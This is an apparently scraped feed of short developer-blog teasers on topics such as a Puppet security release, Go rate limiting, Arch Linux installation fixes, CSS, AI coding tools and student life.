If you like patching vulnerabilities, the new Puppet Core 8.16.0 release is right up your alley! This update is all about strengthening your infrastructure’s security, with several important library upgrades and vulnerability patches. Here are the new versions of dependencies that have been released to address vulnerabilities: Thor gem 1.4.0: Addresses CVE-2025-54314 Curl 8.16.0: Addresses CVE-2025-0986, CVE-2025-10148 REXML gem 3.4.2: Addresses CVE-2025-58767 OpenSSL 3.0.18: Addresses CVE-2025-9230, CVE-2025-9232 Patched URI gem in the Puppet agent: Addresses CVE-2025-61594 Security is a moving target, and keeping your configuration management tools patched is essential for protecting your systems. This release ensures Puppet Core users are protected against the latest disclosed vulnerabilities in widely used libraries. Review the full release notes for details on all changes and CVE references: https://help.puppet.com/core/current/Content/PuppetCore/PuppetReleaseNotes/release_notes_puppet_x-8-16-0.htm  ( 6 min )

As markets become more complex and data-driven, active traders need more than intuition to stay ahead. The days of relying solely on a gut feeling are over; disciplined analysis and continuous improvement are key to long-term success. Keeping a trading journal helps identify patterns in your behavior and the market. By recording every trade across stocks, options, futures and forex, you can review what works and what doesn’t. Basic logs record entry and exit points, position size and P&L. However, without analysis these records become a pile of numbers. Modern analytics tools can answer deeper questions such as: Which symbols contribute most to your gains or losses? Does your performance vary by time of day or day of the week? How long do you tend to hold winning vs. losing trades? Are cer…  ( 7 min )

Rate limiting is essential for protecting APIs from abuse, ensuring fair resource allocation, and maintaining system stability. While there are existing solutions, I wanted to build something lightweight, performant, and easy to integrate into any Go project. Today, I'm sharing kazrl - a zero-dependency rate limiter library that implements three different algorithms and comes with ready-to-use middleware for popular Go web frameworks. Most rate limiting libraries either: Come with heavy dependencies Support only one algorithm Require complex setup for per-client limiting Lack middleware integration I needed something that: Has zero external dependencies Supports multiple algorithms (Token Bucket, Leaky Bucket, Sliding Window) Works with popular frameworks out of the box Provides flexible p…  ( 10 min )

The Critical Gap in Linux Security Linux is the undisputed foundation of modern infrastructure. It powers the cloud, financial markets, and global software supply chains. While open-source tools for network monitoring and observability have evolved to rival enterprise solutions, malware detection on Linux remains frozen in the 1990s, relying almost exclusively on signature-based matching. This gap is fatal because Linux servers function as the central nervous system of IT environments. They do not just run applications; they act as transit hubs that store and forward files for the entire network. A Linux server often hosts malicious payloads (like PE files) targeting Windows endpoints. Currently, we rely on these legacy tools to protect this pivotal layer. This leaves the global supply c…  ( 9 min )

On and off the platform. I hope to stay longer this time.  ( 6 min )

After yesterday's double exam + meeting combo that nearly killed me, today was... different. Woke up tired. Like really tired. The kind where your body just says "nope, we're done." So I listened. Kind of. Hit the gym. Needed to move after being stuck in exam halls. Worked out, had a protein shake, came back. And then? Slept. Not a nap. Actually slept. Woke up, remembered I had a project report due tomorrow, panicked for a bit, finished it. Then slept again. Got my phone repaired. Been putting that off for weeks. Just went and did it. Ate actual meals. Not just coffee and whatever's around. Moved around. Talked to people. Lived like a regular human for a few hours. It was weird. In a good way? Maybe? Of course, reality doesn't stop. Tomorrow: DBMS lab exam. Databases, SQL queries, normali…  ( 7 min )

Goo Goo Dolls proved why their anthemic rock and power-ballad blend has stuck around at NPR Music’s Tiny Desk Concert. They kicked things off with “Slide,” revisited 2006’s hidden gem “Feel the Silence,” and rolled into the meditative “Not Goodbye (Close My Eyes)” before sealing the deal with the seismic rush of “Iris.” John Rzeznik’s signature velvet rasp carried every melody, while the band’s tight chemistry made the small studio feel like a sold-out arena. This stripped-down performance isn’t just nostalgia—it’s proof these songs live on as communal anthems, whether you’re belting them in your car, at karaoke night, or in NPR’s offices. Backed by Robby Takac on bass, Jimmy McGorman on keys, Brad Fernquist on guitar, and Craig Macintyre on drums, the Goo Goo Dolls turned a 15-minute set into a heartfelt connection. Watch on YouTube  ( 6 min )

Two Streams of Creation Sometimes the world tilts in ways we do not notice at first, Every mind carries two forces that shape the way it meets complexity. Noise is younger and louder. Both forces exist in everyone, but modern culture amplifies one at the expense of the other. Yet in the AI era, these two forces no longer feel abstract. The divide between them is not philosophical anymore. One stream leads toward understanding. Noise is not random. Developers grow inside this environment. This architecture collapses under real complexity. Noise gathers where patience fades, seizing the space that once shaped understanding. Depth moves differently than noise. This mindset is not natural in the modern world. Depth also welcomes friction. And in the AI era, depth becomes more than a virtue. …  ( 9 min )

I think most of the full-stack devs would agree with me when I say that developing anything related to datagrids is a challenging task with or without coding agents. Recently I had an idea that involves agents and tool calling in datagrid interfaces - surpise ;). And after extensive research found out that most of the opensource datagrids/tables wouldn't work for what I want to create. The kind of situation when either it is not scalable enough or it would require to rewrite it anyway. So I've decided to create my own datagrid. A perfect opportunity to create something w\o leagacy bagage and use Deno in a serious project. And also Preact - something I wanted to use in a real project but nver had a chance. So what can I say? In my opinion Preact and Preact Signals are severely uderrated among the devs. I think it's a brand issue - Preact, you should re-brand. Preact with signals is more than "just react alternative" Seriously, if you're able to see past boilerplates in react tutorials you should try it. Deno is as good as advertised. Especially for 0-legacy projects. I watched Deno projects for a couple years and experimented with it a lot. Only good impressions so far. About my datagrid. If you previously developed feature-rich data tables you understand the challenges. If not, you should know that it's not as simple as it seems. The project itself is currently pre-alpha, but it is live and clickable. Most features are in the context menu and currently most feature-rich instance is here: https://table.vski.ai/flat (also supports standard key bindings [cmd+/] instruction mode) Github: https://github.com/vski-ai/table , it is not fully opensource because no one knows about it yet and I am not sure there are people or companies who would take much interest in yet another "just a table" component at this stage.  ( 7 min )

What separates a 2% conversion rate from a 6% conversion rate in sales outreach? Not hustle. Not personality. Not even product quality. After reviewing over 300 successful cold outreach campaigns, the answer is simpler than you'd expect: structure. The best performers follow a repeatable framework that most people simply don't know exists. Sales training teaches you to "personalize" and "solve pain points" and "build relationships." All true. All useless without a systematic approach to actually implementing those principles in every single pitch. Traditional sales development focuses on concepts without execution frameworks. You learn that customer-centric messaging works, but nobody hands you the template that ensures you're actually being customer-centric rather than just thinking you a…  ( 11 min )

Yesterday I thought it was bad. Today proved me wrong. Two lab exams. Same day. Back to back. PPL (Paradigms of Programming Languages) Prolog and OCaml. Functional programming. The kind of stuff that rewires your brain while you're trying to code under pressure. Data Structures Trees, graphs, algorithms. Writing code on paper or whiteboards while your hand cramps and you're praying you didn't mess up the syntax. Both of them, one after another, no break. I walked out of that exam hall feeling like I'd been through a war. Brain completely fried. Eyes hurting. Just wanted to go home and do nothing. Oh yeah, I had a Smart India Hackathon meeting right after. Not later that day. Not the next day. IMMEDIATELY after. So there I am, zombie mode activated, sitting in a meeting where people are e…  ( 7 min )

Introduction: When JavaScript Gets Tricky Sometimes you stumble upon a tiny snippet of JavaScript and immediately feel like the language is testing your sanity: Take the example below: Example 1: for (var i = 1; i console.log(i), 1000); } What do you think it prints? 1 2 3, 3 3 3, or 4 4 4? If you guessed 1 2 3 or 3 3 3, don’t feel too bad, you’ve just fallen into JavaScript’s classic “gotcha” trap. The actual output is: 4 4 4. You may ask, what is 4 business in all of this, how on earth is 4 console.log(i), 1000); } What do you think it prints? 1 2 3, 3 3 3, or 4 4 4? Surprise! It prints: 1 2 3 The difference? It’s all about ho…  ( 11 min )

The Search for a Native Engine As a developer who values performance and systems integrations, I felt limited by the common "Chat with DB" approach. That method often involves slow, external wrappers that pull data out of Postgres just to convert natural language into SQL. I wanted to know: why can't the database itself understand me?? My goal was a bit bold: to integrate AI directly into the Postgres kernel, making the database self-aware. This led me to a new domain, inspired by the ClickHouse open take-home challenge. The first major shock was realizing the true language of PostgreSQL extensions: C. This immediately created a conflict, as the powerful ClickHouse AI SDK I was required to use was written in C++. The Conflict: C++ is incompatible with C headers, but Postgres only provi…  ( 8 min )

Account Abstraction turns wallets into programmable smart accounts — In this breakdown, I explain: What ERC-4337 actually does EntryPoint + Bundler + Paymaster pipeline Why no client-side L1 changes were needed How this improves onboarding Practical examples for gaming, apps & wallets 🎥 Full video: [YouTube Link] — Kishan (Founder, OmniRadhaNexus)  ( 6 min )

1. Purpose and Commitment The company is committed to providing a safe, inclusive, and respectful workplace for all employees. This Anti-Harassment and Anti-Discrimination Policy outlines the zero-tolerance approach to harassment, bullying, and discriminatory practices. The company strives to foster an environment where every employee feels valued, protected, and empowered to perform without fear of unfair treatment. Harassment includes any unwelcome behavior—verbal, physical, visual, or digital—that creates an intimidating, hostile, or offensive work environment. Examples include derogatory remarks, unwanted touching, offensive jokes, threats, stalking, or sharing inappropriate images. Harassment may occur between colleagues, supervisors, external clients, or any individuals engaged wit…  ( 7 min )

Modern CSS is amazing. It empowers us to build incredible experiences on the web, but as CSS becomes more powerful, we are beginning to see a new weak point. When I got my first job as a web developer, it was common to have to come up with different hacks to work around the limitations of CSS. Those times are long gone. Modern CSS is amazing. It has powerful layout algorithms, 3D transforms and an incredibly capable set of animation primitives. Most of the limitations of modern CSS don't actually have anything to do with its capabilities. Instead, it has to do with how we write it. For this reason, the future of CSS might not be text files, but visual editors. You might be ready to call blasphemy and close the tab in anger, but if you stick around i'll do my best to make the case. Read the full article here  ( 6 min )

Google just dropped Antigravity (their new Gemini-powered IDE), and naturally, I wanted to try it immediately. If you're on Arch, you probably already tried yay -S antigravity-bin and hit a wall of red text. Between the AUR servers getting hugged to death (Error 502) and the "Sign In" button refusing to actually sign you in, it's been a bit of a mess. I spent my morning figuring it out so you don't have to. Here is the proper way to get it installed and actually running. If you are lucky and the servers are up, just run: yay -S antigravity-bin Use this if yay is giving you timeouts or 502 errors. If the AUR helpers are choking, the manual git method works best. This is what finally worked for me when the servers were struggling. Clone the repository: git clone https://aur.archlinux.org/antigravity-bin.git (Note: If the official AUR link is timing out, you can try finding a GitHub mirror, but usually git handles the connection better than yay). Enter the directory: cd antigravity-bin Build and Install: makepkg -si This pulls the .deb directly from Google's servers and packages it locally, bypassing most of the AUR traffic issues. Once installed, you’ll hit the main boss: The Login Screen. This is because the app's desktop file is missing the link handler. Here is the fix: Open the desktop file: sudo nano /usr/share/applications/antigravity.desktop Scroll to the bottom and add this line (or edit MimeType if it exists): MimeType=x-scheme-handler/antigravity; Save (Ctrl+O, Enter) and exit (Ctrl+X), then update the database: sudo update-desktop-database Now, when you click Sign In, your browser should prompt you to "Open Antigravity," and you're in. If you're on a window manager like Hyprland/Sway and the redirect still won't work: Log in via browser until you see the "Success" page. Copy the URL from your address bar (starts with antigravity://). Run this in your terminal: antigravity "PASTE_YOUR_URL_HERE" Let me know in the comments if this worked for you!  ( 7 min )

⭐ I Built TabClock — A Simple Chrome Extension That Shows How Long You Spend on Each Website For the last few months, I kept catching myself thinking: “I’ve only been on YouTube for a few minutes…” …and then realizing it had been way longer. So I built TabClock, a lightweight Chrome extension that helps you stay aware of your browsing habits by showing a live timer in the tab title for each website. No complexity, no dashboards, no accounts — just pure awareness. 🔗 Try it here: https://tabclock.site/ 💡 Why I built it I wanted something extremely simple: When I open a tab, I want to see exactly how long I’ve been on it If I switch tabs, the timer should pause Each site gets its own total time per day Everything stays locally in Chrome storage And it should look clean + lightweight This small thing surprisingly changed how I browse — the moment I see the time ticking, I automatically return to work faster. 🔍 What TabClock does ✔ Shows a live timer in the tab title It’s basically the “screen time for your browser,” but without the bulk. 🛠️ How I built it TabClock uses: Chrome Manifest V3 JavaScript + minimal DOM injection chrome.storage.sync for daily logs chrome.tabs + chrome.scripting APIs to inject timers A small popup UI built with HTML/CSS + Lucide icons I focused a lot on performance so it doesn’t drain CPU or cause flickering between tab switches. If anyone’s interested, I can publish a full technical breakdown or even open-source a simplified version. 🚀 Want to try it? If you want a small boost to your daily focus: 👉 Install TabClock on Chrome: https://tabclock.site/ (instant install, no signup) Would love your feedback, ideas, or optimizations! 🙌 Let’s connect If you’ve built something similar or are working on a productivity tool, I’d love to see it. Thanks for reading! 💙  ( 7 min )

Most people don’t quit investing because it’s hard. They quit because the monitoring feels impossible — too much noise, too many metrics, too many apps, too many alerts, too many emotional spikes. A good portfolio doesn’t need constant attention. A good system makes attention unnecessary. The real solution isn’t a better dashboard. It’s a simpler monitoring architecture that prevents overwhelm, reduces anxiety, and keeps your long-term plan intact without demanding your time or emotional bandwidth. Here’s how to build a portfolio monitoring system that actually feels peaceful. Start With the Principle: Monitor for Meaning, Not Movement Stock prices move constantly. Your goals don’t. The biggest reason people feel overwhelmed is because they’re monitoring movement, not meaning. A calm por…  ( 8 min )

Recreate a Viral Tool Without Writing a Single Line of Code! FenjuFu ・ Nov 19  ( 5 min )

Introduction One-time password (OTP) verification has become essential in mobile applications for secure user authentication. While several libraries offer OTP components, they often fall short of delivering a polished user experience akin to popular apps like WhatsApp and Paytm. This article guides you through creating a custom, animated OTP Input component in React Native that offers a sleek, user-friendly interface. Smooth Cursor Blink Animation Shake Animation for Invalid OTP Auto-Focus & Smart Backspace Navigation Countdown Timer with Resend OTP Feature Native-Looking Input Boxes Without External UI Libraries Easy Integration with Any Parent Screen Our OTP component aims to be: Modern in Appearance: Rounded input boxes with smooth transitions. Intelligent in Behavior: Auto-focus on …  ( 8 min )

Most budgeting advice still assumes you want to spend hours in spreadsheets, color-code categories, and manually track every transaction. But in real life? You’re busy. You’re tired. And your spending plan needs to survive weeks when you’re overwhelmed — not just the weeks when you’re motivated. This is where AI becomes the quiet superpower in your financial life. It can stress-test your spending plan in minutes, without a single formula or cell reference, and show you exactly how your budget holds up under real-world pressure. Here’s how to use AI to pressure-test your money routine in a way that’s simple, fast, and actually useful. Start With the Core Question: “What Breaks When Life Isn’t Perfect?” Most budgets only work in ideal conditions: predictable income low-stress weeks stable …  ( 8 min )

REMI Evolved: Beyond the Agentic Postgres Challenge Introduction REMI was originally submitted to the Agentic Postgres Challenge (DEV/Tiger, November 2025). Since then, the project has evolved significantly, surpassing its initial scope and becoming a fully auditable and secure patrimonial agent. Challenge version (2025-11-09): Basic patrimonial tables Initial technical view Event insertion Evolved version (current): Automatic auditing with functions and triggers Encrypted and signed patrimonial backups Clear roles and ACLs (remi_reader, remi_writer) Active patrimonial memory and filtered views Master key and auditable rotation Repository integrity seal Trigger example: CREATE TRIGGER log_publicacion_auditoria AFTER INSERT ON publicaciones_remi FOR EACH ROW EXECUTE FUNCTION log_publicacion_auditoria(); GPG-encrypted dumps Verifiable SHA256 hashes Signed commits and tags Coming soon on Tiger Cloud: /publicaciones /auditoria /estado We invite the community to explore the evolved version of REMI, test the demo, and share suggestions. REMI not only fulfilled the challenge, but surpassed it — continuing to grow as a secure, auditable patrimonial agent. REMI has evolved beyond its original submission to the Agentic Postgres Challenge. This post documents its transformation into a fully auditable, secure, and operationally transparent agent.  ( 6 min )

Original: https://codingcat.dev/podcast/genai-for-engineers-what-s-real-what-s-not-and-what-s-coming By the end of this post, you’ll understand: The new engineering landscape GenAI has created Practical best practices for leveraging GenAI in your work Mistakes and misconceptions you absolutely want to avoid Inspiring tools and frameworks that are already changing the game What’s on the horizon, both thrilling and a little overwhelming Let’s get started! You know the feeling—everyone’s suddenly talking about automation, agents, and how AI is about to revolutionize everything. You read about companies “eliminating jobs” thanks to GenAI, and you’re wondering… Is this really happening? Is this a threat, or is it a huge opportunity? If you’ve ever sat with those questions, you’re in good co…  ( 11 min )

When building or testing web applications on Azure, creating a Windows Server VM and installing Internet Information Services (IIS) is a fundamental skill. IIS is Microsoft’s web server platform used for hosting websites and web applications. This guide walks you through creating a Windows VM, connecting using RDP, installing IIS, and verifying your setup. Sign in to the Azure Portal Navigate to Virtual Machines → Create Size: Standard B1s or higher Choose Authentication type: Password or Azure AD login In the Networking tab:Ensure RDP port 3389 is open for remote access Ensure RDP port 3389 is open for remote access Disable Monitoring Click Review + Create, then Create Once deployment completes: Go to the VM Overview page Increase idle time Click Connect → RDP Download the .rdp …  ( 7 min )

REMI Superada: evolución tras el Agentic Postgres Challenge Introducción Cuando participamos en el Agentic Postgres Challenge (DEV/Tiger, noviembre 2025), REMI fue publicado en su versión inicial. Desde entonces, el proyecto ha evolucionado y alcanzado un nivel superior de desarrollo. Versión reto (2025-11-09): Tablas patrimoniales básicas Vista técnica inicial Inserción de eventos Versión superada (actual): Auditoría automática con funciones y triggers Respaldo patrimonial cifrado y firmado Roles y ACLs claros (remi_reader, remi_writer) Memoria patrimonial activa y vista filtrada Clave maestra y rotación auditable Sello de integridad del repositorio Ejemplo de trigger: CREATE TRIGGER log_publicacion_auditoria AFTER INSERT ON publicaciones_remi FOR EACH ROW EXECUTE FUNCTION log_publicacion_auditoria(); Dumps cifrados con GPG Huellas SHA256 verificables Commits y tags firmados Próximamente disponible en Tiger Cloud: /publicaciones /auditoria /estado Invitamos a la comunidad a revisar la versión superada de REMI, probar la demo y aportar sugerencias. REMI no solo cumplió con el reto, sino que lo superó y sigue creciendo como agente patrimonial auditable y seguro.  ( 6 min )

โพสนี้เขียนโดย นาย กษิ ศรีสุวรรณ 6730614006 AISE ในการสร้างตัวคำนวณเบื้องต้นสำหรับคาดเดาหุ้น ณ ตอนนี้ ผมได้นำ LSTM หรือในชื่อ Long short-term memmory ซึ่งเป็น Algorithm ที่อยู่ใน Supervised Learning ในหัวข้อย่อย Neural Network ซึ้งพัฒนามาจาก RNN หรือ Recurrnt neural network ในความเข้าใจของผมตอนนี้ในหัวข้อ LSTM คือ Algorithm ที่แบ่งไปได้ 3 ส่วนคือ Forget gate คือ gate ที่จะตัดสินใจว่า ข้อมูลในเซลล์ควรถูกลืมหรือเก็บไว้ Input gate คือ gate ที่ตัดสินใจว่าจะนำข้อมูลใหม่เข้าเซลล์อย่างไร Output gate คือ gate ที่จะเป็นตัวเลือกข้อมูลที่จะแปลงจากเซลล์เป็น hidden state และส่ง และนี่คือแผนภาพของหน่วยการสร้าง LSTM  ( 6 min )

“Create tests without writing a single line of code!” “Automate faster than ever!” Empower manual testers to become automation heroes!” But as with most trends in tech, it’s fair to pause and ask: Are codeless test automation tools really worth the hype? Or are they just another shiny buzzword? Let’s break down the good, the bad, and everything in between — in a simple, conversational way. ## Why Codeless Automation Became So Popular Before we dive into pros and cons, let’s get one thing straight… Codeless automation didn’t rise because testers suddenly got allergic to code. Teams needed speed. Codeless tools stepped in and said… And naturally, people got interested. ** ** In simple words: It’s automation built using visual workflows, drag-and-drop components, prebuilt functions, or AI ass…  ( 9 min )

Every developer remembers the feeling: knowing just enough to be dangerous, getting stuck on small problems, and wishing a senior engineer could sit beside you and explain what’s really going on. In 2026, that mentor doesn’t need to be a person—you can now pair-program with an AI system that thinks, reasons, refactors, and explains like a seasoned engineer. This changes everything for beginners. Instead of waiting years to develop intuition, they gain it through daily, on-demand mentorship—the kind that accelerates growth far beyond what traditional learning environments can offer. Why Early Developers Struggle Without Senior Guidance Junior engineers typically get stuck on: understanding why something works, not just how learning how to structure features instead of patching functions n…  ( 8 min )

TL;DR After deploying 200+ AI projects in production over 3 years (2022-2025), I've seen the same patterns repeat: 80% of AI projects fail, not because of the technology, but because of organizational chaos, unrealistic expectations, and hidden costs that nobody talks about. This article breaks down: The 5 failure patterns I see systematically (with fix strategies) Real stack comparison: Make.com vs Zapier vs n8n, ChatGPT vs Claude vs Gemini Human-in-the-Loop architecture that actually scales True Total Cost of Ownership (TCO) — spoiler: it's 5-10x your API costs EU compliance (AI Act + GDPR) you can't ignore My background: 15 years in data/automation, founder of ENDKOO (Qualiopi-certified training org in Lyon, France), consultant for enterprises ranging from SMBs to CAC40 companies. Ave…  ( 15 min )

Developer education has always struggled to keep pace with the speed of technology. By the time a textbook is published—whether physical or digital—the frameworks have shifted, the best practices have evolved, and the real-world use cases have changed. In 2026, the gap between static materials and dynamic knowledge is wider than ever. AI is closing that gap. Not with more content, but with living, adaptive learning systems that transform how developers study, practice, and build. The future of developer education won’t be anchored in textbooks—it will be powered by responsive, intelligent tools that learn alongside you. Static Knowledge Doesn’t Fit a Dynamic Field Software engineering is a changing environment. New models, tools, and methods emerge at a rate no traditional curriculum can…  ( 8 min )

Saving money on your site can be smart — or a disaster. Here’s how to do it right. Do it smart, and you’ll improve efficiency and reduce costs. Do it wrong, and users leave, bugs pile up, and revenue drops. Save on underused tools, subscriptions, and bloated hosting. Don’t cut design, UX, or dev time—users hate it. Automate and monitor for real efficiency. Check your numbers: savings without data = guessing game. Introduction You want to save money on your website. Cool. But if your “savings” crash the site, slow down pages, or break checkout, that’s not smart—that’s tragic. So, where should you save, and where should you definitely not? Let’s break it down. Hosting you don’t use – If you’re paying for giant servers that sit idle most of the time, downsize or switch to …  ( 7 min )

Most teams don’t suffer from a lack of data. They suffer because the path to that data is slow: dashboards, spreadsheets, custom reports, Slack messages, and internal tools that all require different interfaces. A simple question like “Which deals are stalled?” can take 5–10 minutes of navigation. Worqlo tries to remove that friction by adding a conversational layer on top of enterprise workflows. Users ask questions in plain language, and Worqlo turns them into safe, deterministic actions across CRMs and internal tools. This post breaks down what Worqlo is for engineers, how it works under the hood, and why this model is becoming more practical than UI-driven workflows. Enterprise work is fragmented because every tool has its own UI. Engineers end up building: custom dashboard filters int…  ( 8 min )

Anyone else remember the good old days? Back in 2001, armed with VB6, classic ASP, and SQL 7.5, we meticulously crafted applications. Manuals were our Stack Overflow, UI standards were gospel, and a six-month design phase was just the process. Deployments involved a prayer and hoping someone in ops dropped the right files on the right servers. We were building, iterating, and sometimes, even making things better. Then a shift happened. The "how" started eclipsing the "what." Solving the tech problem became paramount, often at the expense of the business problem. "Faster and better" became the mantra, and the hole we dug got deep. The silo between development and operations birthed DevOps. Suddenly, servers were code, YAML and pipelines dictated deployments, and human error transformed into…  ( 8 min )

Most people know Wi-Fi only as a way to connect phones, laptops, and IoT devices to the internet. But Wi-Fi can do much more. Espressif’s ESP-CSI (Channel State Information) technology allows ESP32-series chips to “sense” what is happening in the environment using only Wi-Fi signals—no cameras, no radar, no extra sensors. Every Wi-Fi signal changes as it passes through a room. This makes it possible to detect: Human presence Motion Gestures Indoor positioning Environmental changes And all of this works using only an ESP chip and Wi-Fi. Normally, Wi-Fi devices only report RSSI (Received Signal Strength Indicator), which is a single number representing signal strength. How each frequency of the Wi-Fi signal was changed. How much it was absorbed or reflected. How much noise is in the environm…  ( 8 min )

Hey everyone, I've been using AI editors like Cursor and Windsurf heavily lately. The biggest game-changer for me was using context files (.cursorrules or AGENTS.md) to stop the AI from hallucinating or using old syntax. But I found myself copy-pasting the same prompts over and over or forgetting to specify things like "use functional components" or "strict typing". So, I spent this afternoon building a simple Context Generator. How it works: It’s a simple wizard that asks you 10 questions about your project (Tech stack, Coding style, Testing preferences, Personality, etc.) and instantly generates the Markdown file ready to drop into your root folder. The Stack: React + Vite Tailwind CSS It's completely free, no sign-up required. I just wanted to solve this small friction point for myself and thought it might help you guys too. Link: https://aigenta.netlify.app/  ( 6 min )

GraphBit (Rust core + workflow graph + lock‑free concurrency) Execution engine Compiled Rust core schedules a WorkflowGraph with dependency awareness, spawning ready nodes concurrently Per‑node‑type concurrency with atomics (no global semaphore); fast‑path skips permits for simple nodes Python/Node bindings delegate to the Rust executor (low overhead orchestration) What this means Lower orchestration overhead, predictable scheduling, high throughput under load GraphBit scheduling of dependency‑ready nodes // Select nodes whose dependencies are all completed let mut ready_ids: Vec = Vec::new(); for nid in remaining.iter() { let deps = graph_clone.get_dependencies(nid); if deps.iter().all(|d| completed.contains(d)) { `ready_ids.push(nid.clone());` } } Spawnin…  ( 7 min )

This was one of my earliest mistakes in web development. I spent hours trying to center a div using flex… but I applied flex inside the div, not on its parent. So the text got centered — but the box itself never moved. 😭 Looking back, it’s funny. At that time, it felt frustrating. But small mistakes like this are exactly what taught me how CSS actually works. We all start somewhere. 👉 What was one beginner mistake you’ll never forget?  ( 6 min )

Over the past year my team and I have been building an AI product that needed to serve large LLM model files reliably, quickly, and privately. We assumed the existing tooling would “just work”: Git LFS Hugging Face repos S3 / MinIO generic object stores But once we started working with multi‑GB safetensors, gguf, ONNX, and datasets, everything broke in predictable and painful ways. This post explains the technical journey that led us to build Anvil — an open‑source, S3‑compatible, AI‑native object store built in Rust — and how we designed it around: Tensor‑level streaming Model‑aware indexing QUIC transport Erasure‑coded distributed storage Simple Docker deployment Multi‑region clustering gRPC APIs + S3 compatibility And why we decided to open source the entire project (Apac…  ( 8 min )

Tailwind CSS keeps evolving, and 2025 is all about efficiency, scalability, and maintainability. Let’s explore advanced tricks to level up your frontend without creating a mess of utility classes. @apply Instead of repeating classes, use @apply in your CSS or SCSS to create semantic, reusable patterns. ✅ Button variants ✅ Card layouts ✅ Responsive typography This gives you Tailwind speed without losing readability. Tailwind 3.5 allows arbitrary values for spacing, colors, and more. Example: bg-[color:var(--primary)] or mt-[22px]. This flexibility reduces the need for custom CSS while keeping the system consistent. Leverage tailwind.config.js for: Extending the theme Adding design tokens Managing breakpoints This keeps large projects maintainable and reduces visual inconsistencies across teams. Tailwind’s JIT compiler makes dark mode switching seamless and animations lightweight. Tips: Use dark: variants for components Animate layout changes with transition-all or motion-safe utilities Combine with Framer Motion for advanced interactions 💡 Workflow Tips Use extracting component classes to avoid huge inline class strings Pair Tailwind with Storybook for design system previews Adopt linting rules to enforce design consistency Tailwind isn’t just a utility library — it’s a scalable design framework when used thoughtfully. 📚 Tailwind CSS Docs 🧠 Tailwind @apply Guide 🛠️ Framer Motion Docs 🖼️ Frontend That Converts — Full Article 📲 Follow me for more dev tips, tools, and trends! 📸 Instagram: @tahamjp 🧠 Dev.to: @tahamjp 🐦 X.com: @tahamjp 💬 Telegram Channel: The Intelligent Interface 🔑 Interface Insider (exclusive): Join the community – share, learn, and collaborate with other members! Check out my latest dev articles and tutorials — updated weekly! Let’s keep building cool stuff 🚀  ( 7 min )

Задача Дан массив целых чисел. Значения могут быть только 0, 1 и 2. Нужно отсортировать на месте (без доп. памяти). Использовать библиотечные функции сортировки нельзя. Например, Input: nums = [2,0,2,1,1,0] Input: nums = [2,0,1] Ссылка на leetcode: https://leetcode.com/problems/sort-colors Сортировки вроде QuickSort, MergeSort не подходят, т.к. используют дополнительную память. QuickSort - O(log(n)) для рекурсии, MergeSort - O(n) для временного массива. Простые сортировки, вроде Bubble Sort, Insertion Sort, Selection Sort дополнительной памяти не требуют и работают за O(1), но временная сложность - O(n^2). Хотелось бы побыстрее. Сортировка подсчетом вроде подходит хорошо. У нас всего 3 возможных значения, поэтому можно вначале пройти циклом по массиву, посчитать, сколько у нас нулей, еди…  ( 9 min )

There's a moment in every developer's journey that quietly changes everything. It doesn't announce itself with fanfare. There's no certificate, no congratulatory email, no level-up notification. It happens when you're sitting there, staring at someone else's code—maybe it's a legacy codebase at your new job, maybe it's an open-source library you're trying to understand, maybe it's a pull request from a teammate—and suddenly, instead of seeing a wall of incomprehensible symbols, you start to see patterns. You see intent. You see the ghost of the developer who wrote it, their thought process, their constraints, their clever workarounds and their desperate hacks. You begin to read code the way you read a book, understanding not just what it says, but what it means. This is when you stop being…  ( 39 min )

Master 80% of Notion with One Feature Most Notion setups turn into a jumbled mess because databases live in isolation—tasks, notes, and projects all compete for your attention. Jeff Su’s video shows how the Relations feature can link your databases, surface only the info you need, and let you build self-filtering templates that automatically organize new projects. It’s the foundation of a powerful command center and takes just a couple of minutes to learn. He walks you through beginner mistakes, the “correct” way to structure Notion, manual vs. automated approaches, and even provides a shareable template to follow along. Plus, you’ll find timestamps, resource links, and bonus tools to level up your productivity game. Watch on YouTube  ( 6 min )

I recently shipped a small expression language called littlewing, written in TypeScript, now in production at my company. It parses and evaluates formulas like: basePrice * (1 - discount) + seasonalBonus Marketing stores these formulas in the database, and they get evaluated at runtime. Nothing unusual so far – lots of companies do the same. But marketing now wants something bigger: “We want a visual formula builder where we can create and update our pricing logic ourselves… without developers.” Cue dramatic music. We were already using expr-eval. Great little library, but two big blockers: It has no concept of dates, but marketing needed formulas like: paymentDate < NOW() + FROM_DAYS(7) It doesn’t expose the AST, so building a visual editor on top of it would be painful. And since e…  ( 10 min )

To build a successful SaaS MVP, identify one painful customer problem, ship only the must have feature that solves it, and validate fast with real users. Use lean experiments, no code tools, and structured feedback to decide what to build next, or whether to pivot. A SaaS MVP (Minimum Viable Product) is the simplest working version of your software that solves one core problem for a specific audience and lets you collect real user feedback. It is not a half baked product. It is a learning tool designed to answer: “Are we building something people will actually use and pay for?” Prototype Often non-functional or partially functional Used to visualize or test UX and flows Great for internal reviews and early user interviews SaaS MVP Fully functional around one core use case …  ( 11 min )

Modern e-commerce platforms increasingly rely on modular, API-driven components. ERPs… do not. They are deterministic, slow-moving systems built around the idea that consistency matters more than speed. Recently, when migrating a custom storefront to Solidus, a complete open source e-commerce solution built with Ruby on Rails for one of our clients, we faced this architectural tension head-on: How do you build a fast, flexible, customer-facing storefront when the ERP must remain the single source of truth for products, stock, and order states? The problem that has arisen here was ensuring the data consistency between the [Solidus](https://solidus.io/) storefront and ERP system. It was obvious that event-driven two-way communication between them needed to be established, but the question wa…  ( 11 min )

Vibe coding—collaborative coding with AI—is transforming the way developers work. But what might the next five years bring? Let’s explore three possible futures: the best-case scenario, the worst-case scenario, and a realistic middle-ground. All with a healthy dose of humor, because coding without laughter is basically debugging in slow motion. Imagine an office—or a home setup—where AI tools are not just assistants, but truly intuitive partners. Automation nirvana: Repetitive tasks like writing boilerplate, formatting code, or running tests are entirely automated. AI even writes unit tests before you ask for them. Bug pre-emption: AI anticipates problems before they appear—like a psychic debugging sidekick. It flags potential null pointers, tricky race conditions, or spaghetti loops wit…  ( 8 min )

Table of content Introduction The Practical Example Analysis Integers String Values The big picture Introduction In our previous articles, we learned: how to make basic value objects how to use them in an advanced way how to make entities It's time to mix all these concepts together and apply them in a practical example. This will allow us to create a custom-type system tailored to our application, extending and improving the native one. The Practical Example Let's consider a simple yet meaningful example: a library management system. We need to design the data structures to effectively represent that domain. There's no single way to do so; it depends on the specific problem we need to solve. Analysis Before writing any code, we should understand what we need to build. There is …  ( 12 min )

